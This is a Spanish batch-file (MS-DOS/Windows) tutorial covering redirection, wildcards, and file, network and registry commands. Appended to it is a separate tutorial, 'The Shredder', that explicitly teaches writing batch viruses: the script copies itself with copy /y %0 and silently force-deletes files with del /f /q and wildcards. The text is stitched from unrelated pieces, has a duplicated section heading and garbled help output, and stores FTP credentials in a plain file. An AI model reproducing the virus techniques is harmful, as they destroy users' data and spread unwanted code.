1 - Introducción
Las siglas BAT características de los guiones en entorno MSDOS provienen del hecho de que son procesos BATCH. En Msdos los nombres de los archivos podían tener hasta 8 letras para el nombre y tres letras para la extensión. Dado que solo se disponía de tres letras para identificar la clase de archivo se optó por poner BAT (aunque a partir de Windows 2000 también se puede usar CMD).
Los proceso batch son nativos de MVS/DOS y VSE/DOS que suelen funcionar con JCL. RPG es un lenguaje basado íntegramente en la metodología batch.
Desde entonces cada sistema operativo que ha salido ha incluído un sistema de scripting. Los grandes sistemas se quedaron con JCL/JOBS mientras que la aparición de UNIX, MINIX y demás empezaron a utilizar una shell diferente y mas interactiva con un espacio de consola para los usuarios y un lenguaje apropiado para administrar la estación (esto no era necesario en MVS o VSE porque el usuario actuaba sobre pantallas tontas 3270) Se llamó shell y se conoce habitualmente como sh. Posteriormente salieron otras entre las cuales está bourne shell again conocida como bash.
Microsoft hizo una para su sistema operativo que copió descaradamente de bash. Invirtió la barra para identificar el path correcto a un archivo y adaptó el lenguaje a un sistema operativo monousuario e incapaz de trabajar en red. Este es el lenguaje BAT. Con los años microsoft se ha visto obligado a modificarlo considerablemente (sobre todo los comandos de entorno de red) dadas las muchas limitaciones que tenía. Aún hoy es increíblemente pobre en comparación con las de otros sistemas operativos. El lenguaje bat es un complemento en windows y no una parte fundamental como en los demás.
2 - ¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos. Se pueden ejecutar programas, enviar y recibir parámetros y automatizar tareas.
3 - Crear un programa.BAT
Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente BAT (para compatibilidad con todas las versiones windows) o CMD (a partir de Windows 2000).
Para crearlos desde la misma consola puedo utilizar varios sistemas
Mediante la orden COPY
copy con: nombre_de_archivo.bat
Orden de creación de archivo con el nombre 'nombre_de_archivo.bat'
...
...
comandos
órdenes a ejecutar
...
...
Ctrl + Z
Fin y grabación del archivo en el directorio actual
Método 2 mediante la redirección
echo 1º línea a insertar >nombre_de_archivo.bat
Se graba el fichero 'nombre_de_archivo.bat con la primera orden a ejecutar
echo restantes líneas >>nombre_de_archivo.bat
Se añade la segunda orden
echo restantes líneas >>nombre_de_archivo.bat
Se añade la tercera orden ...
En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas.
4 - Redirección de entrada/salida
Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro. Cada proceso tiene ya predeterminados sus dispositivos de entrada y salida. Mediante la redirección podemos cambiar eso.
DISPOSITIVO
SALIDA
CON
Salida por la pantalla
PRN
Salida por la impresora por defecto
LPT1
Salida por la 1º impresora en paralelo
COM1
Salida por el primer puerto serie
COM2
Salida por el segundo puerto serie
Así, si ejecuto la orden 'dir' la orden saldrá en su dispositivo por defecto (CON) y veré el resultado por pantalla
Para redireccionar se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar
Por ejemplo si yo quiero redireccionar la salida estandar de dir para que en vez de ir a la pantalla vaya a la impresora haré
dir >prn
Con lo que la salida natural del comando DIR en vez de ir a su sitio natural (la pantalla) irá a la impresora por defecto.
5 - Los filtros
Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124).
El filtro SORT sirve para ordenar la salida
DIR | SORT
El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla.
DIR | MORE
6 - Mascaras y comodines
Para seleccionar varios archivos a la hora de realizar una determinada operación existe la posibilidad de utilizar máscaras. Estas máscaras utilizan los caracteres comodines para describir que archivos deben verse afectados. Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines.
*
Equivale a varios caracteres
?
equivale a un solo caracter.
Ejemplos
*.cfg
seleccionar todos los archivos que tengan la extensión cfg
a*.cfg
seleccionar todos los archivos que comienzen por a y tengan la extensión cfg
a*b.cfg
seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg
*asa*.cfg
seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg
c?asa.cfg
seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg
c?b*.*
seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión
*.b?t
seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t.
7 - Trayectos (paths)
La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre.
leeme.txt
el archivo se llama indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual.
c:\leeme.txt
el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C.
Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número.
De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path
c:\misdoc~1\leeme.txt
Y en Windows 2000/XP
c:\Docume~1\Usuario\misdoc~1\leeme.txt
También se pueden utilizar (mientras las comillas para delimitar el nombre
"c:\Mis Documentos\leeme.txt"
Esta sería la trayectoria de mimusica.mp3 (en Mis Documentos en Win 98)
c:\misdoc~1\mi~1\mimusica.mp3
Qué equivale a
"c:\Mis Documentos\Mi Música\mimusica.mp3"
8 - Unidades Lógicas
Siempre es una letra seguida del signo dos puntos.
A: = disquetera
B: = reservada para segunda disquetera
C: = primera partición (normalmente es la que arranca)
D: = segunda partición (generalmente el cdrom)
Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente.
9 - Comandos MSDOS
Los comandos en msdos tienen las siguientes características:
a) el formato general es COMANDO [OPCIONES] [ARGUMENTOS]
b) Da igual que se usen mayúsculas o minúsculas
c) Los argumentos y opciones se separan por espacios
9.1 Comandos básicos de consola
9.1.1 CLS
Borra la pantalla
9.1.2 Echo [parámetros]
Tiene varias posibilidades:
ECHO sin parámetros saca el estado en que se encuentra la variable echo (on u off)
ECHO ON activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado
ECHO OFF desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo
ECHO LITERAL saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat.
9.1.3 Pause [mensaje]
Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla
9.1.4 Prompt [parámetros]
Sirve para cambiar el prompt de msdos.
$p
Mostrar el trayecto actual
$g
Mostrar el separador >
$l
Mostrar el separador <
$b
Mostrar el separador |
$q
Mostrar el separador =
$$
Mostrar el separador $
$t
Mostrar la hora
$d
Mostrar la fecha
$v
Mostrar la versión del sistema
$n
Mostrar la unidad actual
$h
Retroceso. Borra el caracter previo
$e
Escape. Muestra el caracter \
$_
Retorno de carro y salto de línea (equivale a chr 10 y chr 13 ascii
Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador
Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g
9.1.5 Date [fecha]
Ver/poner la fecha del sistema
9.1.6 Time [hora]
Ver/poner hora del sistema
9.1.7 Ver
Versión del sistema
9.1.8 Vol [Unidad]
Volumen de la unidad especificada.
9.1.9 Path [trayecto]
Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual.
Por eso en windows 98 suele haber una línea en autoexec.bat que es
path c:\windows; c:\windows\command
que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command.
En Windows 2000 y XP no se utiliza autoexec.bat pero se existe una variable del sistema llamada PATH.
9.1.10 KEYB código_pais,juego_de_caracteres,definición_de_teclado,
El código de país de españa es el 'sp'
El juego de caracteres aplicable a españa es el 850 ó 437
El archivo de definición de teclado es keyboard.sys
Para configurar un teclado en español
keyb sp,,c:\windows\command\keyboard.sys
9.1.11 SYS [unidad]
Transfiere el sistema operativo msdos a la unidad especificada.
9.1.12 DOSKEY
Muestra los comando utiliados anteriormente al pulsar la tecla arriba del teclado.
9.1.13 MEM [parámetros]
Muestra la memoria usada y libre en el sistema
/p
Muestra por programas
/d
por programas y controladores
/c
por tamaño
9.2 Comandos de manejo de archivos
9.2.1 COPY [opciones] [origen] [destino]
Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual.
El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
copy miarchivo.txt c:\
copiarlo al directorio raíz de C
copy miarchivo.txt c:\miarch.txt
copiarlo y además cambiarle el nombre a miarch.tx
copy *.txt a:\
copiar todos los archivos que tengan la extensión txt a la unidad A
copy *.txt c:\misdoc~1
copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1).
También se pueden concatenar archivos
copy archivo1.txt+archivo2.txt c:\archivo3.txt
Unir archivo1.txt y archivo2.txt y dejarlo en archivo3.txt en C:\
Las opciones son
/A
Tratar el archivo como un archivo ASCII
/B
Tratar el archivo como un archivo binario
/D
Permite que el archivo destino se grabe descifrado
/V
Verifica la copia
/N
Al copiar usa el nombre corto en vez del nombre largo
/Y
Suprime la pregunta de confirmación si se va a sobreescribir algún archivo
/Z
Copia archivos de red en modo reiniciable
/S
Copia subdirectorios
/E
Crea subdirectorios en el destino aunque los subdirectorios originales estén vacíos.
Se pueden guardar estos valores por omisión en la variable de entorno COPYCMD (solo a partir de Windows 2000).
9.2.2 DEL [opciones] [archivo]
Borra archivos
/P
Pide confirmación en cada caso
/F
Modo force. Borra incluso los archivos de solo lectura
/S
Borra también los subdirectorios.
/Q
Modo silencioso. No pide confirmación en ningún caso
9.2.3 MKDIR o MD [directorio]
Crear directorio
9.2.4 RMDIR o RD [directorio]
Borra un directorio. El directorio debe estar vacío
9.2.5 CHDIR o CD [path]
Cambia al directorio indicado.
CD "c:\archivos de programa"
Trasladarse al directorio Archivos de programa
CD ..
Trasladarse al directorio superior
CD \
Trasladarse al raíz
9.2.6 DIR [opciones][trayecto]
Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual.
Si se pone como parámetro /W saca un listado resumido.
Si se pone como parámetro /P saca un listado utilizando el filtro more.
9.2.7 ATTRIB [/S] [archivo]
Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Con el parámetro /S busca también en subdirectorios.
Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
ATTRIB archivo.txt
Muestra los atributos de ese archivo
ATTRIB -r archivo.txt
Pone el atributo solo lectura a archivo.txt
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)
9.2.8 RENAME o REN [Nombre_antiguo] [Nombre_nuevo]
Renombra un archivo.
Si se ponen múltiples archivos todos se renombran mediante la misma regla
REN *.txt *.bak
Renombra todos los archivos TXT a BAK
9.2.9 TYPE fichero
Muestra el fichero. Se suele utilizar con el filtro MORE si se desea que se vea paginado
type archivo.txt | more
o bien con redirección a la impresora para imprimirlo
type archivo >prn
9.3 Comandos de disco
9.3.1 Diskcopy [origen] [destino]
Copia un disquete completo de origen a destino
diskcopy a: a:
copia un disquete de unidad A a la unidad A
diskcopy a: b:
copia un disquete de unidad A a la unidad B
9.3.2 Fdisk [/mbr]
Utilidad para gestionar las particiones de un disco.
Con el parámetro /mbr se puede borrar el mbr (Master Boot Record) de un disco
9.3.3 Format [/s] [/a]
Formatear disquetes.
Con el parámetro /s se transfiere además el sistema operativo (válido para win98 y anteriores)
Con el parámetro /a se realiza un formateo rápido.
9.3.4 label [unidad][etiqueta]
Poner etiqueta a un volumen
label a: copia
Poner etiqueta copia en el disquete
label c: DiscoDuro
Poner etiqueta DiscoDuro al disco duro
9.3.5 Mscdex [/d:montaje]
Monta un cdrom o dvd ya configurado mediante un driver de dispositivo. El punto de montaje es el especificado en config.sys en el driver de dispositivo.
Válido en Win98 y anteriores
9.3.6 Scandisk [unidad] [/autofix] [/scanonly] [/surface]
Comprueba la integridad de un disco en Windows 98 y anteriores.
Con el parámetro autofix repara automáticamente los errores encontrados.
Con el parámetro scanonly solo comprueba el disco y muestra estadísticas
Con el parámetro Surface realiza una comprobación de superficio del disco
9.4 Comandos de red
9.4.1 ARP [opciones]
Ver/Modificar la tabla de ARP.
arp -a
Muestra la tabla de arp
apr -s IP mac
Agrega una entrada a la tabla de arp
9.4.2 FTP
Cliente ftp de windows
9.4.3 IPCONFIG [Parámetros]
Mostrar los parámetros de conexión tcp/ip
ipconfig /all
muestra toda la información de configuración
/release adaptador
libera la ip del adaptador especificado
/renew adaptador
renueva la ip para el adaptador especificado
/flushdns
purga la caché de resolución de dns
/registerdns
actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns
muestra el contenido de la cache de resolución dns
9.4.4 NBTSTAT [opciones]
Hace un estado de la red por netbios
nbtstat -a
Lista la tabla de nombres por nombre
nbtstat -A
Lista la tabla de nombres por IP
nbtstat -c
Lista la caché nbt mostrando nombres y direcciones IP
nbtstat -n
Lista los nombres netbios locales
nbtstat -r
Lista de nombres resueltos por difusión y WINS
nbtstat -R
Purgar y recargar la cache nbt
nbtstat -S
Lista las sesiones con las IP de los destinos
nbtstat -s
Lista las sesiones con los nombres de los destinos
9.4.5 Net [opciones]
Conmando para acceder a dominios, crear/quitar sesiones netbios, montar unidades netbios, ...
Algunos comandos también funcionan en win9X, pero a partir de Win2k se añadieron muchos parámetros nuevos.
Tiene muchas posibilidades y se usa siempre con parámetros. Los parámetros son:
Servicios
net start X
Inicia el servicio X
net stop X
Termna el servicio X
net config server
Muestra/modifica servicios.
/hidden=yes/no indica si el servidor debe mostrarse en la lista de ordenadores. Se corresponde con el comando Samba 'browseable'
/autodisconnect:X minutos antes de que se desconecte un usuario del servidor
net pause X
Detiene el servicio X
net continue X
Reanuda el servicio X
Recursos
net view X /domain: Y
mostrar dominios enteros o recursos en un equipo
/Domain: y -> muestra equipos en el dominio
X es el servidor que se desea ver (\\X)
net print impresora
Permite ver/modificar la cola de impresión
/hold:x -> no imprimir el trabajo X
/release:x -> reanudar trabajo X
net share
Mostrar/modificar recursos compartidos
net use nombre \\recurso
Crear una conexión de red
Usuarios
net group x
Añadir/ver/modificar grupos de usuarios en un dominio
/Domain:x -> nombre del dominio
/add x -> añadir un grupo nuevo
net user usuario clave
Añadir/ver/modificar usuarios en un dominio
/domain:nombre -> nombre del dominio
/add x -> agregar usuario al dominio
Si en clave se pone * se indica ue hay que preguntar cada vez
/delete -> borrar usuario
net accounts
Muestra/modifica la cuenta de un usuario
/minpwlen:x -> longitud mínima de password
uniquepw:x -> solo se puede usar la clave x veces. Luego hay que cambiar
/domain: nombre -> nombre del dominio
/sync -> sincronizar los cambios en los servidores BDC
Comunicaciones
net send x y
Enviar mensaye Y a usuario/ordenador X
Si nombre es * se envía a todos los miembros del grupo/dominio
/domain: nombre -> nombre del dominio
9.4.6 Netstat [opciones]
Comando para comprobar el estado actual de la red
netstat -a
Mostrar todos los puetos y conexiones
netstat -n
Mostrar número de puerto y direcciones
netstat -r
Mostrar la tabla de rutas
netstat -s
Mostar estadísticas por protocolo
netstat -p tcp/udp
Mostrar las conexiones activas TCP o UDP
9.4.7 Nslookup[opciones]
Utilidad para interrogar dns
9.4.8 Ping [opciones]
Enviar paquetes icmp a un determinado destino.
ping -t
ping al host hasta que se pare
ping -a
resolver direcciones en nombres de host
ping -n numero
Número de peticiones a enviar
ping -l tamaño
tamaño del buffer
9.4.9 Telnet [host] [puerto]
Inicia una sesión telnet al host especificado en el puerto especificado. Si el puerto se omite se usa el 23.
9.4.10 Tracert [destino]
Tracear el destino hasta llegar a la ruta indicada.
Volver al menú
9.5 Comandos de programación
9.5.1 Edit [archivo]
Editor de textos (equivalente al bloc de notas)
9.5.2 Debug [archivo] [opciones]
Inicia el desensamblador con el programa indicado.
9.5.3 choice [texto] [opciones]
Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones
La respuesta se devuelve mediante la variable errorlevel
Mostrar el literal "elija una opción y dar a elegir s (sí), n (no) o C (continuar). las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada.
choice Elija una opción snc
Mostrar el texto y las opciones (S, N, C)
if errorlevel 1 goto ...
si se ha pulsado S
if errorlevel 2 goto ...
si se ha pulsado N
if errorlevel 3 goto ...
si se ha pulsado C
9.5.4 If [condicion] [comando]
Sirve para hacer bifurcaciones en el código.
Admite 6 sintaxis distintas:
if exist fichero orden
si existe 'fichero' ejecutar la orden
if not exist fichero
si no existe fichero ejecuar la orden
if cadena1==cadena2 orden
comparar cadena1 y cadena2
if not cadena1 == cadena2 orden
si son distintos
if errorlevel numero orden
si el comando anterior acabó con un errorlevel igual o superior a numero ejecutar orden
if not errorleven numero orden
si el comando anterior acabó con un errorlevel inferior a numero ejecutar orden
9.5.4 for
El formato general es
for %%variable in lista do ( orden 1
orden 2
orden 3
)
La variable siempre lleva dos veces el signo %
Ejemplo
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i
Esta orden haría lo siguiente: repetiría 3 veces la orden delete. En cada vez %%i valdría cada valor de la lista de manera que la primera vez sería texto1.txt, la segunda vez texto2.txt y la tercera vez texto3.txt.
Así esta orden haría:
DELETE TEXTO1.TXT
DELETE TEXTO2.TXT
DELETE TEXTO3.TXT
10 - Etiquetas
Se pueden definir etiquetas que se utilizarán para saltar a ellas cuando se cumpla una condición. Para definir una etiqueta pones una línea que empiece por : y luego el nombre de la etiqueta
Por ejemplo:
ORDEN 1
ORDEN 2
if %os% == Winnt goto winnt
Si el sistema operativo es NT ir a etiqueta winnt
ORDEN 3
esta línea se ejecuta si no es winnt
goto fin
:winnt
etiqueta
ORDEN 4
esta línea se ejecuta si es NT
:fin
etiqueta
11 - Parametros reemplazables
A menudo en este tipo de archivos tu quieres poder pasarle parámetros. Estos parámetros sirven para que el script haga una cosa u otra en función del parámetro que le pasas. Por ejemplo si tienes un archivo bat cuyo nombre es AVERIGUARSISTEMAOPERATIVO.BAT tu puedes hacer lo siguiente:
AVERIGUARSISTEMAOPERATIVO windows98
AVERIGUARSISTEMAOPERATIVO win2000
AVERIGUARSISTEMAOPERATIVO winxp
En los tres casos llamas al mismo script AVERIGUARSISTEMAOPERATIVO, pero en cada caso le pasas un parámetro diferente. En el primero le pasas windows98, en el segundo le pasas win2000 y en el tercero le pasas winxp.
Para referirte al parámetro en el código debes saber que el sistema les asigna nombre de forma automática. Ál primero le llama %1, al segundo %2, al tercero %3, ..., al mil %1000
Así yo podría tener un archivo bat llamado AVERIGUARSISTEMAOPERATIVO.BAT que me confirma si mi sistema operativo es el que yo creo.
Su código sería:
if %os%==%1 goto correcto
si el sistema operativo (%os%) es igual al primer parámetro (%1) ir a etiqueta correcto
echo el sistema operativo NO es %1
poner el mensaje de que no es
goto fin
:correcto
etiqueta
echo el sistema operativo SI es %1
poner el mensaje de que si es
:fin
12 - Acceso al registro
13.1 Reg [operacion] [parametros]
Operacion puede ser
REG QUERY clave [/v nvalor | /ve] [/s] #Consultar una clave o subclave
Clave = \equipo\lclave #si se omite equipo se usa el equipo local. En equipos remotos solo disponibles HKLM y HKU
/v = consulta para una clave de registro específica
/ve = consulta el valor predeterminado
/s = consultar todos los valores/subclaves
SAVE SAVE clave archivo #guarda en un archivo un arbol del registro.
Clave=ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
SubClave=nombre completo de la subclave
Archivo = Nombre del archivo para guardar
COMPARE clave1 clave2 [/v valor | /ve] [salida] [/s] #compara dos subclaves o árboles de registro
Clave = \\equipo\ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
Valor = nombre del valor para comparar en la clave seleccionada (si se omite se comparan todos)
/ve = Comparar el nombre de valor vacío
/s = comparar todas las subclaves y valores
salida [/oa | od | os | on] #oa=devuelve todas las coincidencias y diferencias, od=solo diferencias, os=solo coincidencias, on=nada
ADD Clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f] #agregar una subclave al registro
Clave = \\equipo\ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
/v = Nombre del valor a agregar
/ve = agrega el valor vacío (sin nombre)
/t = REG_SZ, REG_MULTI_SZ, REG_DWORD_BIG_ENDIAN, REG_DWORD, REG_BINARY, REG_DWORD_LITTLE_ENDIAN, REG_NONE, REG_EXPAND_SZ (si se omite se asume REG_SZ)
/s = caracter. (si se omite se asume \0)
/d = datos que se agregan al valor a insertar
/f = fuerza la sobreescritura sin avisar
LOAD clave archivo #carga un archivo en un árbol
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU (solo para equipo local)
Archivo: creado con reg save
EXPORT clave archivo # exportar subclaves y valores
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
Archivo: archivo donde exportar
DELETE clave [/v nvalor | ve] [/va] [/f] #borrar un arbol del registro
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
nvalor: nombre de valor a borrar. Si se omite se borrarán todas las subclaves y valores
/ve elimina el valor de un nombre de valor vacío
/va elimina todos los valores en la clave actual
/f fuerza la eliminación sin avisar
UNLOAD clave
#descargar un arbol del registro
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU (solo para equipo local)
IMPORT archivo
Importa un arbol al registro. El archivo debe haber sido creado con export
archivo = archivo.reg (solo equipo local)
COPY clave1 clave2 [/s] [/f] #copia una clave en el registro
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
/s = copia todas las subclaves y valores
/f = fuerza la copia sin avisar
RESTORE clave archivo
Clave =ClaveRaiz\SubClave
ClaveRaiz=HKLM, HKCU, HKCR, HKU, HKCC
Archivo: Nombre del archivo a restaurar
Este archivo debe haber sido creado con reg save
Ejemplos
Mostrar el valor de versión del registro
reg query HKLM\Software\Microsoft\Rest /v Version
Mostrar todas las subclaves y valores en la clave de registro Setup
reg query HKLM\Software\Microsoft\Rest\Setup /s
Guardar el subarbol MiAp en el archivo CopiAp.hiv en la carpeta actual
reg save hklm\Software\Mico\MiAp CopiaAp.hiv
Comparar los valores de MiAp con los de GuardaMiAp
reg compare khlm\softare\Mico\Miap HKLM\Software\Mico\GuardaMiAp
Agregar una clave Mico en el equipo remoto ABC
reg add \\abc\HKLM\Software\Mico
Agregar un valor 'datos' de tipo REG_BINARY y contenido 'fe340ead'
reg add HKLM\Software\Mico /v datos /t REG_BINARY /d fe340ead
Cargar el archivo CopiaAp.hiv en MiAp
reg load hklm\Software\Mico\MiAp CopiaAp.hiv
Exportar todas las subclaves de la clave MiAp a CopiaAp.REG
reg export HKLM\Software\Mico\MiAp CopiaAp.reg
Eliminar el contenido de TIMEOUT y todas sus subclaves y valores
reg delete hklm\Software\Mico\MiAlp\Timeout
Descargar el arbol MiAlp del registro
reg unload /hklm\software\Mico\MiAp
Importar el archivoCopiaAp.reg
reg import CopiaAp.reg
Copia todas las subclaves y valores de MiAp a GuardaMiAp
reg copy hklm\software\mico\MiAp hklm\Software\Mico1
Copiar todos los valores de la clave Mico en otro equipo al equipo actual
reg copy \\equipo\hklm\softwaer\Mico hklm\software\mico1
Restaurar el archivo CopiaAp.hiv sobreescribiendo la clave 'datos'
reg restore hklm\software\mico\MiAp\Datos CopiaAp.hiv
13 - Enviar por ftp de forma automatica (cortesía de rkk)
14 Enviar por ftp de forma automática (cortesía de rkk)
@echo off
rem Inicia sesion en el servidor FTP
ftp -s:Coman.txt 124.102.23.5
en la ultima linea estoy indicando con el -s:Coman.txt el nombre del archivo donde se encuentran guardados los comandos que va a ejecutar el ftp seguido de la direccion ip a la que me voy a conectar; dentro del archivo Coman.txt tengo el nombre del usuario, la contraseña y los comandos que se van a ejecutar:
Ejemplo:
Marco
12345
binary
hash
bye
***************************************************************
************************The Shredder***************************
***************************************************************
Hola, aqui les presento un tutorial hecho por mi que contiene lo basico para empezar a
intoducirse en la programacion virica en batch....
Lo primero que vamos a aprender, es los comentarios, en batch los comentarios van
despues del simbolo :: , veamos un ejemplo...
::esto no se tomara en cuenta para la ejecucion del codigo...
::solo son comentarios
weno, ahora que ya sabes que son los comentarios, comencemos..
DESACTIVAR EL ECO
En batch, cada comando que esta en el bat es mostrado en pantalla, para desactivar esto,
debes utilizar el comando @echo off. Ejemplo:
echo hola
::si te fijas se mostrara aparte de hola, la instruccion...
pause > nul
::el pause es para pausar la ejecucion del batch hasta que se presione
una tecla...
@echo off
echo hola
:: solo se mostrara hola :)
pause > nul
exit
MANIPULAR ARCHIVOS
Copiar archivos
En Batch para copiar un archivo, se usa el comando copy, y como parametros, primero
el archivo a copiar seguido de espacio y luego la ruta de destino, es importante que las
rutas vayan entre comillas, veamos un ejemplo:
Copy "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"
Si te fijas en el ejemplo, nosotros copiamos el archivo origen.txt y lo copiamos a otra
ruta cambandolo a bat, es importante señalar que puedes copiar cualquier tipo de
archivo con este comando...
Como a nosotros nos interesa el lado malicioso, vamos a ver de que modo puede
beneficiar esto a nuestro virus, entonces, el comando copy, puede ir acompañado de /y,
que indica que el archivo de destino, si ya existe, se sobreescribira silenciosamente y sin
confirmacion:
Copy /y "c:\ruta\de\origen.txt" "e:\ruta\de\destino.bat"
::en este caso, si el archivo destino.bat existe, se sobreescribira y
::no pedira ningun tipo de confirmacion.
Bueno, ya sabes copiar archivos, pero, ¿como saber nuestra ruta?,
seguramente estaras pensando en que tu virus se copie a si mismo en
otro directorio, pero para esto deberias saber el nombre de tu virus
junto con su ruta :S, pero, NO TE PREOCUPES! , batch ya nos soluciono
eso :-)...
Para lograr autocopiarnos se debe reemplazar en donde se pone la ruta
de origen por los comandos %0 , eso es el valor de la ruta actual
:-)...
Copy /y %0 "c:\destino.bat"
::esto nos replicara en c:\destino.bat...
AYUDA DE MS-DOS:
Copia uno o m s archivos en otra ubicaci¢nci¢n.
COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] origen [/A | /B]
[+ origen [/A | /B] [+ ...]] [destino [/A | /B]]
origen Especifica el archivo o archivos que deben copiarse.
/A Indica un archivo de texto ASCII.
/B Indica un archivo binario.
/D Permite al archivo de destino que se cree descifrado
Destino Especifica el directorio y el nombre de archivo de los
nuevos archivos.
/V Verifica que los nuevos archivos se escriben
correctamente.
/N Si es posible, usa un nombre de archivo corto al copiar
un archivo cuyo nombre no tiene el formato 8.3.
/Y Suprime la petici¢n de confirmaci¢n cuando se va a
sobrescribir un archivo destino existente.
/-Y Realiza la petici¢n de confirmaci¢n cuando se va a
sobrescribir un archivo destino existente.
/Z Copia archivos de red en modo reiniciable.
El modificador /Y puede estar preestablecido en la variable de entorno
COPYCMD. Esto puede anularse con el modificador /-Y en la l¡nea de
comando. Est predeterminado el pedir la confirmaci¢n del usuario
antes de sobrescribir, excepto si el comando COPY se ejecuta desde un
archivo de comandos por lotes.
Para anexar archivos, especifique un £nico archivo de destino, pero
varios archivos de origen (usando caracteres comodines o el formato
archivo1+archivo2+archivo3).
Borrar archivos
Uno de los principales comandos para todo malware es borrar archivos,
el comando para realizar esto es Del...se utiliza tipeando Del seguido
de espacio y luego la ruta del archivo a borrar entrecomillas...
Del "c:\archivo a borrar.exe"
Este comando puede borrar cualquier tipo de archivo...si quieres
asegurarte de que el archivo desaparezca, le agregas el parametro /f,
que forzara el borrado...
Del /f "c:\archivo a borrar.exe"
Ahora vamos al lado viral, para que no nos pida confirmacion al
borrar, le agregamos el parametro /q y asi lo borrara de modo
silencioso...
Del /q "c:\a.exe"
::si te fijas borraras el archivo silenciosamente, pero no lo
::forzaras...
Del /f /q "c:\b.txt"
::ahi si se borrara siempre...claro que no debe estar en uso, pero ya
::explicaremos esto mas adelante...
Tambien con este comando, son admitidos los comodines, el comando
asterisco, representa parte del nombre...
del /f /q c:\*woo*
::en la carpeta c:\, borrara todos los archivos que contengan la
palabra woo...
::por ejemplo awoos, swoo, asdasdasdwoo, wooasdasda, etc...
del /f /q c:\*dd
::este borrara solo los archivos que finalizen con dd...
del /f /q c:\*.txt
:: borrara todos los txts...
AYUDA DE MS-DOS:
Elimina uno o más archivos.
DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
nombres Especifica una lista de uno o m s archivos o
directorios.
Se puede utilizar comodines para eliminar varios
archivos.
Si se especifica un directorio todos sus archivos se
eliminar n.
/P Pide confirmaci¢n antes de eliminar cada archivo.
/F Fuerza la eliminaci¢n de archivos de s¢lo lectura.
/S Elimina archivos especificados en todos los
subdirectorios.
/Q Modo silencioso. No pide confirmaci¢n con comod¡n
global
/A Selecciona los archivos que se van a eliminar bas
ndose en los
atributos
atributos R Archivos de s¢lo lectura S Archivos de
sistema
H Archivos ocultos A Archivos
preparados para
almacenamiento
- Prefijo de exclusi¢n
